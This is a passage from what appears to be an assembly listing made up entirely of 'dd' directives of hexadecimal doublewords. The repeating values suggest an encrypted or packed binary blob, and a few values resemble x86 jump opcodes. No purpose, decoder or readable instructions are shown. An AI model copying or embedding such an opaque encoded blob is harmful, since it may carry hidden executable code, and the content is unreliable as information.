0AC6A9E3h, 4B8F9660h, 11345D6Bh, 88D29169h, 0C1F41566h dd 247A320Bh, 0DF037D20h, 3DCDEFF0h, 427A3947h, 1A4A90EBh dd 0C1CD132Eh, 7D2A90EFh, 0C1F41328h, 247A320Bh, 2BE47D20h dd 3DCDE9C1h, 427A3947h, 1A4A90EBh, 0C1CD132Eh, 7D1A90EFh dd 0C1F41328h, 247A320Bh, 0B5327D20h, 3DCD879Ah, 427A3947h dd 1A4A90EBh, 0C1CD132Eh, 7D1E90EFh, 0C1F41328h, 247A320Bh dd 5E587D20h, 3DCDE3B2h, 427A3947h, 1A4A90EBh, 0C1CD132Eh dd 7D0290EFh, 0C1F41328h, 247A320Bh, 41D57D20h, 3DCD81ABh dd 427A3947h, 1A4A90EBh, 0C1CD132Eh, 7D2E90EFh, 0C1F41328h dd 247A320Bh, 65097D20h, 3DCDA444h, 427A3947h, 1A4A90EBh dd 0C1CD132Eh, 7D1290EFh, 0C1F41328h, 247A320Bh, 0FBDF7D20h dd 3DCDCA1Fh, 427A3947h, 1A4A90EBh, 0C1CD132Eh, 7D1690EFh dd 0F9B11328h, 247A1DD3h, 0D7126066h, 0C01578E3h, 1A5A4660h dd 0DDFCAB86h, 591E34D3h, 0F0B79860h, 0BB345D5Eh, 0E2B79CB6h dd 0D7345B92h, 0C01578E3h, 0C35A5260h, 0DDF5A438h, 591E34D3h dd 0F0B79860h, 0BB345D5Eh, 0E6B79CB6h, 92345B92h, 0C03AA0DBh dd 64471560h, 55F90A0h, 7975132Eh, 6E506B63h, 6813A099h dd 0A7BF132Eh, 177A2D1Eh, 0DBBC599h, 427CE1AEh, 55F90A0h dd 7971132Eh, 1A481C90h, 6813A099h, 0A7BF132Eh, 177A2D1Eh dd 0DBBC599h, 427CE1AAh, 55F90A0h, 7971132Eh, 74138246h dd 6813A099h, 0A7BF132Eh, 177A2D1Eh, 0DBBC599h, 427CE1B6h dd 2A87A8E5h, 6432132Eh, 0E5B7D326h, 7345D41h, 229A160Eh dd 3087EAEDh, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC6CDE3h dd 0E5B7D360h, 7345D41h, 7904C00Eh, 3087EA83h, 5345D4Ah dd 0C0A6DE3h, 0ABE2EA60h, 5FC6C1E3h, 0E5B7D360h, 7345D41h dd 8800F40Eh, 3087EA8Ch, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h dd 5FC6C9E3h, 0E5B7D360h, 7345D41h, 0D39E220Eh, 3087EAE2h dd 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC6F5E3h, 0E5B7D360h dd 0B345D41h, 17A2C10Eh, 3087EAF1h, 5345D4Ah, 0C0A6DE3h dd 0ABE2EA60h, 5FC6F1E3h, 0E5B7D360h, 0B345D41h, 4C3C170Eh dd 3087EA9Fh, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC6FDE3h dd 0E5B7D360h, 9345D41h, 154B5C0Eh, 3087EAAEh, 5345D4Ah dd 0C0A6DE3h, 0ABE2EA60h, 5FC6E5E3h, 0E5B7D360h, 9345D41h dd 0D57F9C0Eh, 3087EABAh, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h dd 5FC6F9E3h, 0E5B7D360h, 11345D41h, 391F220Eh, 3087EAFAh dd 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC6E1E3h, 0E5B7D360h dd 7345D41h, 0F7C23F0Eh, 3087EAB4h, 5345D4Ah, 0C0A6DE3h dd 0ABE2EA60h, 5FC6EDE3h, 0E5B7D360h, 16345D41h, 6086FF0Eh dd 3087EA9Bh, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 591E94E3h dd 0E5B7D360h, 3345D41h, 0BA6B8C0Eh, 3087EA84h, 5345D4Ah dd 0C0A6DE3h, 0ABE2EA60h, 5FC6E9E3h, 0E5B7D360h, 3345D41h dd 0DF52D70Eh, 3087EAD7h, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h dd 5FC715E3h, 0E5B7D360h, 3345D41h, 84CC010Eh, 3087EAB9h dd 5345D4Ah, 0C0A6DE3h dd 0ABE2EA60h, 5FC711E3h, 0E5B7D360h, 1B345D41h, 72C07D0Eh dd 3087EAF8h, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC71DE3h dd 0E5B7D360h, 0B345D41h, 0DE492A0Eh, 3087EAA1h, 5345D4Ah dd 0C0A6DE3h, 0ABE2EA60h, 5FC721E3h, 0E5B7D360h, 3345D41h dd 795C590Eh, 3087EA9Ch, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h dd 5FC72DE3h, 0E5B7D360h, 3345D41h, 2416D80Eh, 3087EAA5h dd 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC729E3h, 0E5B7D360h dd 1B345D41h, 9952D90Eh, 3087EAB2h, 5345D4Ah, 0C0A6DE3h dd 0ABE2EA60h, 5FC719E3h, 0E5B7D360h, 1B345D41h, 0CB665B0Eh dd 3087EAF8h, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h, 5FC705E3h dd 0E5B7D360h, 1B345D41h, 311A5D0Eh, 3087EAB7h, 5345D4Ah dd 0C0A6DE3h, 0ABE2EA60h, 5FC701E3h, 0E0367F60h, 44320566h dd 2222150Eh, 0EE327F66h, 0C01CA4F3h, 49B79C60h, 0AF345D46h dd 5FF106E3h, 0E2E2EA60h, 54327D62h, 225A1566h, 7B321546h dd 39A7EA66h, 0CD345D48h, 6A02B0E3h, 0B8B79C60h, 0E2345D4Bh dd 54327D26h, 225A1566h, 7B321466h, 39A7EA66h, 0CD345D48h dd 6A2CA0E3h, 70879E60h, 3345D41h, 0C2754FBh, 8B879C60h dd 98345D46h, 0C029D8FBh, 5AF9E60h, 0A9345D73h, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 5916D8E3h, 880EAB60h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 177A3D7Fh, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 0FB780EFh, 1558132Eh dd 8822150Eh, 44584766h, 0C838099h, 94BB132Eh, 8E7A3437h dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 498F9EB1h, 0A1345D46h dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 0C016D8E3h dd 89A79E60h, 1B345D42h, 591A0CF3h, 82B61A60h, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 247A3FF7h dd 11321566h, 91B790A1h, 4432132Eh, 9FB11566h, 177CE11Ah dd 80B61A66h, 0C9321566h, 6C711BFBh, 0EEE1EA60h, 0C03B18E3h dd 498F9660h, 46345D6Fh, 11509769h, 0DF51566h, 427A1C6Bh dd 22321567h, 45879806h, 5345B93h, 0B23AADBh, 0A9CC3E60h dd 1C8F9EB1h, 0B345D46h, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A1E3905Fh dd 0C03D132Eh, 22321571h, 1A2BA8E5h, 8732132Eh, 44321FE3h dd 5FB7D266h, 10345D4Ch, 0E9321566h, 1FC928DFh, 0CC0CAF27h dd 989F0E2Ah, 0C012BCD3h, 0B874D260h, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 319BA0EFh, 71DB132Eh, 0CF32156Eh dd 5FB726BEh, 0D0345D4Ch, 4A1916AEh, 7722D5A7h, 5FAF9CA7h dd 2C345D4Ch, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 0C012BCD3h dd 5AF9E60h, 0A9345D73h, 71E29E6Dh, 0D19D7EDh, 427A15BFh dd 2130F5A7h, 59164CE3h, 8B9F8360h, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 0C1344F3h, 2D302E60h, 11322DE2h dd 8CF09666h, 5DBF2E27h, 2D345D4Eh, 0EECDFDE3h, 0B1879899h dd 0C9345B92h, 6A2414DBh, 0D1B6B960h, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 0ECBF9866h, 0BB345D2Dh, 0EFBF9C87h dd 4B345D42h, 15B9433Fh, 427A0027h, 0A7B91EEDh, 177A31ABh dd 0D31F5B7h, 427A306Fh, 44A4E355h, 13D2D4CBh, 0AC6B9065h dd 0E9A4132Eh, 0A16CD465h, 593C08DBh, 0C3D1460h, 4432155Fh dd 0E13985Dh, 953D132Eh, 8832154Bh, 646F985Dh, 0A63D132Eh dd 11321547h, 0A41F985Dh, 0C03D132Eh, 22321573h, 18A588EBh dd 5BCD1329h, 0C1BBEDEDh, 247A37D7h, 1134A18Fh, 1FAF9866h dd 0BB345A6Fh, 3F8F96B5h, 11345D68h, 882F9169h, 0C1091566h dd 247A0BC3h, 113E9169h, 0D091566h, 427A30B3h, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 0C3050E3h, 3AB71A60h, 92321566h dd 0C02B5CDBh, 0C13D1560h, 2232156Dh, 0C09290EBh, 1DDB1328h dd 7FCDEA99h, 6A3050E3h, 98B61A60h, 0BCDEA99h, 0AC620DBh dd 0A73D1460h, 11321571h, 7CA6905Dh, 0C13D1328h, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 4F8F9699h, 11345D7Ch dd 8B559169h, 0C1091566h, 247CE1E6h, 94B91213h, 8E7A3443h dd 0CCB72E21h, 57345B92h, 50B79E61h, 0CF345D56h, 0B0B6905Dh dd 25471328h, 94390EDh, 0B375132Eh, 0AC699E3h, 0A9356060h dd 592C5CE3h, 0D095260h, 427CE1F6h, 0A7B91213h, 177A3C4Bh dd 1CB72E21h, 31345B92h, 3B79E61h, 56345D7Eh, 7CAA905Dh dd 43471328h, 31D390EDh, 2A75132Eh, 0C6C689E3h, 0CF356060h dd 6A2AC0E3h, 94095260h, 8E7CE1C6h, 0C1B91213h, 247A0B83h dd 0B5B72E21h, 0FD345B92h, 1B79E61h, 65345D47h, 0E59E905Dh dd 8F471328h, 433790EDh, 1975132Eh, 5FC6BDE3h, 0B226060h dd 0C3AA0DBh, 25471560h, 173F90EDh, 0B75132Eh, 0C197CDBh dd 2D461560h, 0E406905Dh, 8F471328h, 74F790EDh, 0A175132Eh dd 593F7CDBh, 0FA461560h, 74EBA8E5h, 5632132Eh, 9B72E0Fh dd 0FD345B93h, 5DB79E61h, 65345D73h, 0E41A905Dh, 8F471328h dd 588790EDh, 1975132Eh, 5FC709E3h, 3356060h, 0C3B94E3h dd 0A7095260h, 177CE04Ah, 0DB91213h, 427A131Bh, 12B72E21h dd 64345B93h, 6DB79E61h, 3345D42h, 0D712905Dh, 16471328h dd 851F90EDh, 7F75132Eh, 6CC731E3h, 9A356060h, 0C03B60E3h dd 0F9B15260h, 247A25BFh, 1BB61A66h, 0B3321564h, 0AC6A5E3h dd 0A9356060h, 5903C0E3h, 0D095260h, 427CE022h, 0A7B91213h dd 177A198Fh, 3CB72E21h, 31345B92h, 0ABB79E61h, 56345D42h dd 7C8A905Dh, 43471328h, 3FAF90EDh, 2A75132Eh, 0C6C6A9E3h dd 0CF356060h, 6A2870E3h, 94095260h, 8E7CE1A6h, 0F9B10513h dd 247A1DD3h, 9A356066h, 0C01070E3h, 0C1095260h, 247CE1A2h dd 94B91213h, 8E7A3863h, 8CB72E21h, 57345B92h, 0A48F9676h dd 88345D6Eh, 0C1B91213h, 247A34EBh, 0DDB72E21h, 0FD345B92h dd 81B79E61h, 65345D62h, 0E5E2905Dh, 8F471328h, 4B2790EDh dd 1975132Eh, 5FC6CDE3h, 0B226060h, 0C3AA0DBh, 25471560h dd 3D2790EDh, 0B375132Eh, 0AC6C1E3h, 0A1226060h, 593AA0DBh dd 8F471560h, 60CF90EDh, 1975132Eh, 5FC6C9E3h, 3356060h dd 0C0294E3h, 0A7095260h, 177CE186h, 0DB91213h, 427A3F93h dd 0C6B72E21h, 64345B92h, 0E9B79E61h, 3345D62h, 0D6DA905Dh dd 16471328h, 0A19B90EDh, 7F75132Eh, 6CC6F9E3h, 9A356060h dd 0C03FF0E3h, 0C1095260h, 247CE196h, 94B91213h, 8E7A1B9Fh dd 0B0B72E21h, 57345B92h, 4CB79E61h, 0CF345D79h, 0B0CA905Dh dd 25471328h, 1B5390EDh, 0B375132Eh, 0C1E94E3h, 0A9356060h dd 593CF4E3h, 0D095260h, 427CE19Ah, 0A7B91213h, 177A373Fh dd 0B0B72E21h, 31345B93h, 628F967Fh, 11345B93h, 35B11C13h dd 427A1B7Bh, 0A9356166h, 590300E3h, 0D095260h, 427CE05Ah dd 9FB10C13h, 177CE026h, 0B3B6066h, 0C3C08DBh, 25461560h dd 149B90EDh, 0B375132Eh, 0AC715E3h, 0A9356060h, 591778E3h dd 0D095260h, 427CE062h dd 0A7B91213h, 177A30A7h, 80B72E21h, 31345B93h, 27B79E61h dd 56345D6Dh, 7D3E905Dh, 43471328h, 0CF790EDh, 2A75132Eh dd 0C6C705E3h, 0CF356060h, 6A1300E3h, 94095260h, 8E7CE072h dd 0C1B91213h, 247A24B3h, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 177A32FBh, 88399069h, 0C1BF1566h, 247CB5FEh dd 0EEC9C68Fh, 31B72E99h, 4B345D6Bh, 22320DE3h, 248F9666h dd 89345B92h, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 34B72E99h, 2D345B92h, 113219E2h, 0FCB72E66h, 4B345B92h dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 7C56905Dh, 0C13D1328h, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 6CC67DE3h, 1AB71A60h, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E7CE10Ah, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 591774D3h dd 2D879C60h, 0C4345D41h, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 708F2E66h, 87345D43h, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 247A25C3h dd 14C390A1h, 8832132Eh, 0CD521566h, 6A15B0D3h, 69AF9860h dd 77345A69h, 66B01AB5h, 0AF321566h, 5CB119FBh, 87E1EA60h dd 0BBCDCBE5h, 87879E99h, 98345D41h, 0C037E4D3h, 0F2AF9860h dd 0DD345B24h, 70B79EB5h, 1345D43h, 0C15B0E3h, 0BFBF7460h dd 177D1E87h, 15BFC699h, 427D1BAFh, 0A13DC699h, 1132156Ah dd 0AF9790E5h, 0AD37132Eh, 0DDCDEAB8h, 1FC088EBh, 5BCD1329h dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 427F966Ah dd 0A13DC699h, 1132156Dh, 0AF97A0EDh, 0C4DB132Eh, 0A9321561h dd 5915B0EBh, 2D879C60h, 6F345D41h, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 73C88EBh, 0F1CD1328h, 9419D2EDh, 8E7A25C3h dd 605390EFh, 0A7B9132Eh, 177A25C3h, 5BF4531h, 427C56E5h dd 0A7B9C499h, 177A0BD3h, 0DB94236h, 427A25C3h, 90BF9836h dd 0EE345B25h, 3E29EB7h, 0F1BF3EAEh, 0A1345D78h, 592F0CDBh dd 0C3D1560h, 4432154Dh, 53790EDh, 9419132Eh, 8E7A087Fh dd 0C23DD45Dh, 22321571h, 1A0B90EDh, 0D31132Eh, 427A087Fh dd 8390EFh, 52DB132Eh, 0D9321566h, 497AD4EDh, 22321A99h dd 14B79C26h, 89345D41h, 0C2F1CE3h, 3BB7D260h, 11345D7Bh dd 0E2321566h, 54327D26h, 48631566h, 0A0A7EA66h, 77345D48h dd 0C2998F3h, 1BB79C60h, 98345D6Dh, 0C010A4E3h, 0F1CD4C60h dd 247A37D7h, 0F87A099h, 7765132Eh, 0C02B0D3h, 66B79860h dd 0EE345B2Eh, 91BF14B6h, 0CF345D7Bh, 6A10A4DBh, 0A4879E60h dd 7B345D78h, 0ED879EC2h, 8F345D46h, 11CE53A1h, 49321566h dd 793710A6h, 21734E9Dh, 593BBCE3h, 39BF9E60h, 0CD345D44h dd 64F5B86Eh, 1132159Ah, 21879C66h, 0C7345D46h, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 0ED879C62h, 0CB345D46h, 0EECDE380h, 8B31D5A7h dd 0C3BBCE3h, 0CF8F9660h, 10345D62h, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 2C2FA8E5h, 1E33132Eh dd 88322BE2h, 4532AD66h, 9FB11566h, 177CE11Ah, 80B61A66h dd 0C9321566h, 6C7990FBh, 91E1EA60h, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 0C6C669DBh, 0C03D1560h, 2232156Eh, 5A6788EBh, 5BCD1328h dd 0CF3652EEh, 6A10A4E3h, 92F53E60h, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 0A89BA0EFh, 2C60132Eh, 22329566h dd 0A4CD150Ch, 8E7A3437h, 51138099h, 0A968132Eh, 592754EBh dd 8833D260h, 0C7321566h, 0AFBB11A7h, 177A0027h, 77C7058Fh dd 4296FC99h, 0A9521566h, 592754EBh, 13B9E60h, 0AC66DEBh dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 247A084Fh, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 95879866h dd 0A9345D4Ah, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 247A39B7h, 3D6790EDh dd 48B7132Eh, 44289069h, 0A7F41566h, 177A320Bh, 2FE07D21h dd 0F1CDC1FCh, 247A34F3h, 922C90EBh, 58CD132Dh, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 0C02CD0E3h, 4BF29060h, 22320FE3h dd 7CB7D366h, 0C4345D41h, 9E2EFC0Eh, 0B787EABFh, 9C345D47h dd 0C3B10BE3h, 16E2EA60h, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 6CC66DE3h, 9C644560h, 0C34C79E3h, 4FE2EA60h dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 5FC66DEBh, 49B94560h, 0CF0E5565h, 22329DF6h, 0D8A79C66h dd 8D345D76h, 4432159Eh, 0AB3E45EDh, 591A80F3h, 0CCB94D60h dd 85193142h, 0AA7905Dh, 933D132Eh, 88321576h, 54FB905Dh dd 0A13D132Eh, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 46BF9866h, 0EE345D2Dh dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 247CE02Eh, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 0C01774E3h, 0B5A79E60h, 0A9345D63h, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 597A0EFh, 4A6D132Eh, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 177CE02Eh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 6A1774E3h, 0E0A79E60h, 0B345D63h, 0C1884DBh dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0CB7D266h, 20345B93h, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 427A3007h dd 27C380EDh, 0ACB1132Eh, 8E7A3FF7h, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0C15B0D3h, 0B3B7D260h dd 10345D4Ch, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 59B7D299h, 8D345B93h, 0CF321566h dd 26F196B8h, 94B90B65h, 8E7A3007h, 41C380EDh, 0A17C132Eh dd 592B90DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 597A0EFh, 8CB9132Eh, 8E7CE02Eh dd 48164967h, 2232CB8Fh, 94F54A66h, 8E7A0CE3h, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0C1884DBh, 0A63D1460h dd 113215DDh, 0AD53884Dh, 0C9B9132Eh, 247A25C3h, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 247CE02Eh, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 0C1774E3h, 0D3A79E60h, 0F8345D63h dd 77CDEA20h, 0B17A90A1h, 22301328h, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 0E9B79EBFh, 0CF345D43h, 6A37E4F3h dd 808F9660h, 89345D4Ch, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h dd 41C398EDh, 0EBB7132Eh, 11349069h, 3DBB1566h, 427A1097h dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 5937E4D3h dd 3EAF9860h, 0BB345B24h, 72F1ECB5h, 982253EDh, 0C032CCE3h dd 82B14D60h, 7B8F987Ah, 0BC345D42h, 0AC165165h, 18F98CDh dd 8F345D7Dh, 35165165h, 35BFBE36h, 427A306Fh, 67616CBh dd 0D26CBE4Eh, 7AF9830h, 0BB345B24h, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0B4048C0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43C4D0B8h, 3D32DCF1h dd 0BA8C5BECh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 1A6DF338h, 0DF07462Ch, 52E697CBh, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0FBD9BC2Fh dd 3C525019h, 0FF0D5711h, 0B977DDD3h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 837A71B8h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0B117FB23h dd 25FB3470h, 0FDF53FD5h, 3B36D5ADh, 0B7342291h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73B3B659h, 0BECBFFA0h dd 0C87D7C61h, 0F305E983h, 8DDB8BA4h, 4EF554BDh, 3B8D8D06h dd 0B8064F10h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 0E9BD83C0h, 64820h, 0BD830975h dd 6482C61h, 50197400h, 0B8C08B53h, 411h, 218589h, 9D8D0648h dd 64AB093h, 585BD3FFh, 2C61BD83h, 74000648h, 0B8535017h dd 411h, 218589h, 9D8D0648h, 64AAD34h, 585BD3FFh, 0F2BBC08Bh dd 0EB4672A4h, 8, 0C18AFB00h, 4CEE976h, 0F0680000h, 0E9064F12h dd 0FFF96B7Fh, 4F138068h, 6B75E906h, 0C768FFF9h, 0E9064F14h dd 0FFF96B6Bh, 0A890DC90h, 0AA92DEF7h, 0A993DFF9h, 0AA92DEF8h dd 0AA92DEF9h, 0D98E13BBh, 0DFF2A38Dh, 0E3F8A993h, 0E6FC9D97h dd 0F23EA29Ah, 15C468DEh, 2529CC56h, 79556681h, 4FC6B305h dd 0CD35815Ch, 2F50DB32h, 0EE45EF3Bh, 0E95D714Eh, 4B4FC6B2h dd 4B1F3DE4h, 498EB67Ch, 0C8BE92BAh, 0A1560EB7h, 6D947AC6h dd 89018B94h, 0DE560EB7h, 91AD1DF8h, 0EB7C9BDh, 6AC46B56h dd 3919D7ECh, 2F2AC5Bh, 4F420000h, 65815ABFh, 0DF3B0E19h dd 3F0BE858h, 4FC6B34Fh, 562E58DAh, 0DF47FE47h, 56482440h dd 0D64FC708h, 5A76D23Bh, 498EEA8Dh, 93C140DFh, 0DA65B1A2h dd 25B8AEC2h, 957C560Fh, 89CAA26Ch, 0D2B8EC47h, 95EE5A72h dd 7029A42Bh, 0BEA67027h, 0BBCA99B2h, 0B3AC8D44h, 0A9CDBC67h dd 41A241CBh, 53CC33F5h, 3A263EFEh, 0F43BF436h, 5B092846h dd 341C687Ah, 13236F63h, 37929F16h, 0B372651h, 91000003h dd 0F4A58FDBh, 0F2A38DD9h, 0F9AA92DEh, 0F6A791DDh, 0BC9B95E1h dd 8AD69116h, 8CD891D2h, 94E0F3A4h, 9BE7FB9Ch, 0DDF13DA1h dd 5615C569h, 5B2628CBh, 4C420EE9h, 0E04FC6B3h, 0EF0E641h dd 39E439EEh, 285874D0h, 88498A12h, 8EDAF3E4h, 0AEA0AC95h dd 7E561631h, 2DE8AA3h, 319C12DEh, 71905616h, 539FB8A5h dd 539FB8E9h, 0CC05BCD8h, 516DB688h, 7734097Dh, 58042B49h dd 77342294h, 23EF1249h, 36D42032h, 350F9753h, 7B18FD26h dd 1000002h, 0E4B59FEBh, 0E2B39DE9h, 0E9BAA2EEh, 0E6B7A1EDh dd 0ACABA5F1h, 7AC6A126h, 7CC8A1C2h, 